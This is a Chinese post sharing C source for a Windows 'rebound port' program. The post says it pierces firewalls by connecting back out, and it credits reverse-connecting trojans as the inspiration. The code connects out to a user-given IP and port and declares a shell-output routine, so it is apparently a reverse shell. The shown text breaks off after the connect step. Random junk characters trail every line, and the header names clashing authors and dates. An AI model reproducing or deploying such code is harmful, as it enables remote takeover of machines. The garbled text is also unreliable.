这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L3s"L.G
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Rebound port in Windows NT R ^INl@(O
By wind,2006/7 |:L}/onK
===============================*/ '{)Jhl47
#include ezS@`_pR;
#include gIKQip<
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#pragma comment(lib,"wsock32.lib") NC
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void OutputShell(); gN]\#s@[
SOCKET sClient; .d?LRf
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ue!yK
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void main(int argc,char **argv) ju1B._48
{ 1-|aeJ
WSADATA stWsaData; gSe3S-Lt
int nRet; 2G_]Y8
SOCKADDR_IN stSaiClient,stSaiServer; wEQZ9?\
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if(argc != 3) F?qg?1vB|
{ ,E"n 7*6mr
printf("Useage:\n\rRebound DestIP DestPort\n"); '1~;^rU
return; Ko|gH]B'
} "/%o'Fq
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^z51f>C
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZKM@U?PK
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stSaiClient.sin_family = AF_INET; P(a}OlG
stSaiClient.sin_port = htons(0); *;U<b
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 69`*u<{PC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T wzpq1
{ Pc<0kQg
printf("Bind Socket Failed!\n"); QlS_{XV
return; B>@l(e)b
} M`E}1WNQ?]
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stSaiServer.sin_family = AF_INET; vin3
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "2p\/VfA
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); dN7.W
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WQbjq}RfI
{ }(,{^".[}
printf("Connect Error!"); P'DcNMdw
return; G&